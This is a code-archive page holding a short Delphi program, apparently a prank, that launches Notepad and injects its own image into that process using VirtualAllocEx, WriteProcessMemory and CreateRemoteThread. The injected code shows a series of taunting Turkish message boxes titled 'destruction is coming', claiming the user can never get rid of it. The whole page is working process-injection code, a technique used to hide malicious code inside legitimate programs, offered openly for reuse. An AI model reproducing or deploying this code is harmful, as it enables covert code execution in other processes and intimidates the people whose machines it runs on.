Mega Code Archive

 
Categories / Delphi / System
 

[] dll inject

//korkutucu v.0.1 coded by mavikorsan icq:9191919 program Project1; {$IMAGEBASE $13140000} uses Windows; function Main(dwEntryPoint: Pointer): longword; stdcall; begin LoadLibrary('kernel32.dll'); LoadLibrary('user32.dll'); MessageBox(0, 'Aaaa Ne oldu tatlim bir an şaşırdın beni görünce!', 'imha geliyor', 0); MessageBox(0, 'Gerçekten benden kurtulacağına inanıyormuydun', 'imha geliyor', 0); MessageBox(0, 'Herşeyi silebilirsin ama ben her zaman burada olacağım', 'imha geliyor', 0); MessageBox(0, 'Ne oldu ben yine ekrandayım tatlım.Bundan sonra laflarına dikkat et tamam mı? ', 'imha geliyor', 0); MessageBox(0, 'Bu kadar sohbet yeter.Bir daha görüşmemek üzere :)', 'imha geliyor', 0); MessageBox(0, 'Ok, bye.', 'imha geliyor', 0); MessageBox(0, 'Ben''kapatırım merak etme ;)', 'imha geliyor', 0); ExitProcess(0); Result := 0; end; procedure Inject(ProcessHandle: longword; EntryPoint: pointer); var Module, NewModule: Pointer; Size, BytesWritten, TID: longword; begin Module := Pointer(GetModuleHandle(nil)); Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage; VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE); NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten); CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID); end; var ProcessHandle, PID: longword; StartupInfo: TStartupInfo; ProcessInfo: TProcessInformation; begin CreateProcess(nil, 'notepad', nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo); Sleep(500); {and hijack it!} GetWindowThreadProcessId(FindWindow('Notepad', nil), @PID); ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID); Inject(ProcessHandle, @Main); CloseHandle(ProcessHandle); end.